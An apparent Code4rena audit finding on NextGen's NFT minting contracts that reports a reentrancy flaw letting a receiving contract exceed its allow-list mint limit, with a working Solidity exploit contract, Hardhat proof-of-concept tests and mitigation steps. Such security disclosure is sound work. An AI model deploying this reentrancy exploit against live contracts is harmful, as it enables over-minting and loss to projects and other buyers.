NextGen - stackachu's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/NextGenCore.sol#L193

Vulnerability details

Impact

When calling the NextGenMinterContract.mint() function, the function first checks if the number of minted tokens is within the allowance (here, here, and here) and then calls the NextGenCore.mint() function (here, which mints the token via the _mintProcessing() function and _safeMint() and then increases the number of minted tokens here.

Because the _safeMint() function calls back into the receiver's onERC721Received() function if the receiver is a contract (here), the checks-effects-interactions pattern is violated, allowing the receiver to mint tokens in excess of the max allowance.

This reentrancy issue can be exploited during the allow list phase as well as during the public mint phase. Arguably, the issue is only relevant in the allow list phase, because the max allowance can be circumvented during the public mint phase anyway by using multiple addresses.

Proof of Concept

The following contract can be used to exploit this issue:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IMinter {
  function mint(
    uint256 _collectionID,
    uint256 _numberOfTokens,
    uint256 _maxAllowance,
    string memory _tokenData,
    address _mintTo,
    bytes32[] calldata merkleProof,
    address _delegator,
    uint256 _saltfun_o
  ) external payable;
}

interface IERC721 {
  function safeTransferFrom(address from, address to, uint256 tokenId) external;
}

contract Reenterer {
  IERC721 core;
  IMinter minter;
  address owner;

  uint256 count;
  uint256 limit;
  uint256 collectionID;
  uint256 numberOfTokens;
  uint256 maxAllowance;
  string tokenData;
  bytes32[] merkleProof;
  address delegator;
  uint256 saltfun_o;

  constructor(IERC721 _core, IMinter _minter) {
    core = _core;
    minter = _minter;
    owner = msg.sender;
  }

  function mint(
    uint256 _limit,
    uint256 _collectionID,
    uint256 _numberOfTokens,
    uint256 _maxAllowance,
    string memory _tokenData,
    bytes32[] calldata _merkleProof,
    address _delegator,
    uint256 _saltfun_o
  ) external {
    require(msg.sender == owner, "only owner");
    // if limit is not a multiple of numberOfTokens, too many would be minted
    require(_limit%_numberOfTokens == 0, "limit must be a multiple of numberOfTokens");
    limit = _limit;
    collectionID = _collectionID;
    numberOfTokens = _numberOfTokens;
    maxAllowance = _maxAllowance;
    tokenData = _tokenData;
    merkleProof = _merkleProof;
    delegator = _delegator;
    saltfun_o = _saltfun_o;

    // mint the first batch of tokens
    // this will cause the core contract to call `onERC721Received` for each minted token
    count = _numberOfTokens;
    minter.mint(_collectionID, _numberOfTokens, _maxAllowance, _tokenData, address(this), _merkleProof, _delegator, _saltfun_o);
  }

  function onERC721Received(address, address, uint256 tokenId, bytes calldata) external returns (bytes4){
    require(msg.sender == address(core), "only core");
    // call back into the minter to mint more tokens unless the desired number of tokens (limit) has been minted
    if (count < limit) {
      count += numberOfTokens;
      minter.mint(collectionID, numberOfTokens, maxAllowance, tokenData, address(this), merkleProof, delegator, saltfun_o);
    }
    // forward received token to owner
    core.safeTransferFrom(address(this), owner, tokenId);
    return this.onERC721Received.selector;
  }
}

In order to exploit the issue during the allow list phase, the contract's address needs to be added to the allow list.

The following test code can be added to the tests in hardhat/test/nextGen.test.js to test this issue:

  context("MintReentrancy", () => {
    // Deploy the Reenterer contract that will be used to mint more tokens than allowed during the AL phase
    it("#deployReenterer", async function () {
      reenterer = await (await ethers.getContractFactory('Reenterer', signers.addr3)).deploy(contracts.hhCore.getAddress(), contracts.hhMinter.getAddress());
    })

    // Create a merkle tree for the AL phase and add addr3 and the Reenterer contract
    // Allow both addresses to mint 2 tokens each during the AL phase
    it("#createMerkleTree", async function () {
      const { MerkleTree } = require('merkletreejs');
      const { keccak256 } = require("@ethersproject/keccak256");
      const { hexConcat } = require('@ethersproject/bytes');

      const allowList = [
        signers.addr3.address.substr(2),
        (await reenterer.getAddress()).substr(2)
      ];
      const spots = [
        '0000000000000000000000000000000000000000000000000000000000000002',
        '0000000000000000000000000000000000000000000000000000000000000002',
      ];
      const txinfo = [
        '7B226E616D65223A2268656C6C6F227D', // {"name":"hello"}
        '7B226E616D65223A226E65787467656E227D' // {"name":"nextgen"}
      ];

      let leaves = allowList.map((addr, index) => {
        const concatenatedData = addr + spots[index] + txinfo[index];
        const bufferData = Buffer.from(concatenatedData , 'hex');
        return keccak256(bufferData);
      });

      const merkleTree = new MerkleTree(leaves, keccak256, { sortPairs: true });
      merkleRoot = merkleTree.getHexRoot();
      proof1 = merkleTree.getHexProof(leaves[0]);
      proof2 = merkleTree.getHexProof(leaves[1]);
    })

    // Change the collection phases to ensure that collection 1 is in the AL phase
    // Use the newly created merkle root for the AL
    it("#setCollectionPhases1", async function () {
      await contracts.hhMinter.setCollectionPhases(
        1, // _collectionID
        1696931278, // _allowlistStartTime
        1796931278, // _allowlistEndTime
        1796931278, // _publicStartTime
        1796931278, // _publicEndTime
        merkleRoot, // _merkleRoot
      )
    })

    // Verify that addr3 can mint the 2 allowed tokens
    it("#mint2xCol1", async function () {
      await contracts.hhMinter.connect(signers.addr3).mint(
        1, // _collectionID
        2, // _numberOfTokens
        2, // _maxAllowance
        '{"name":"hello"}', // _tokenData
        signers.addr3.address, // _mintTo
        proof1, // _merkleProof
        ethers.ZeroAddress, // _delegator
        0, //_varg0
      )
    })

    // Verify that an attempt to mint more tokens reverts
    it("#mint2xCol1AgainShouldRevert", async function () {
      await expect(contracts.hhMinter.connect(signers.addr3).mint(
        1, // _collectionID
        2, // _numberOfTokens
        2, // _maxAllowance
        '{"name":"good"}', // _tokenData
        signers.addr3.address, // _mintTo
        proof1, // _merkleProof
        ethers.ZeroAddress, // _delegator
        0, //_varg0
      )).to.be.revertedWith("AL limit")
    })

    it("#checkCol1TokensMintedToAddr3", async function () {
      await expect(await contracts.hhCore.retrieveTokensMintedALPerAddress(1, signers.addr3.address)).to.be.eq(2);
    })

    // Verify that the Reenterer contract can mint 10 tokens (more than the 2 allowed)
    it("#mintUsingReenterer", async function () {
      await reenterer.mint(
        10, // number of tokens to mint via reentrancy
        1, // _collectionID
        2, // _numberOfTokens
        2, // _maxAllowance
        '{"name":"nextgen"}', // _tokenData
        proof2, // _merkleProof
        ethers.ZeroAddress, // _delegator
        0, //_varg0
      );
    })

    it("#checkCol1TokensMintedViaReenterer", async function () {
      await expect(await contracts.hhCore.retrieveTokensMintedALPerAddress(1, reenterer.getAddress())).to.be.eq(10);
    })
  })

Tools Used

Manual review.

Recommended Mitigation Steps

• Always follow the checks-effects-interactions pattern. In this case, the NextGenCore.mint() function should be changed to call _mintProcessing() after updating the number of minted tokens.
• As an additional measure, OpenZeppelin's Reentrancy Guard can be used on functions that are called by untrusted actors and might hand over control to them (like the NextGenMinterContract.mint() function).

Assessed type

Reentrancy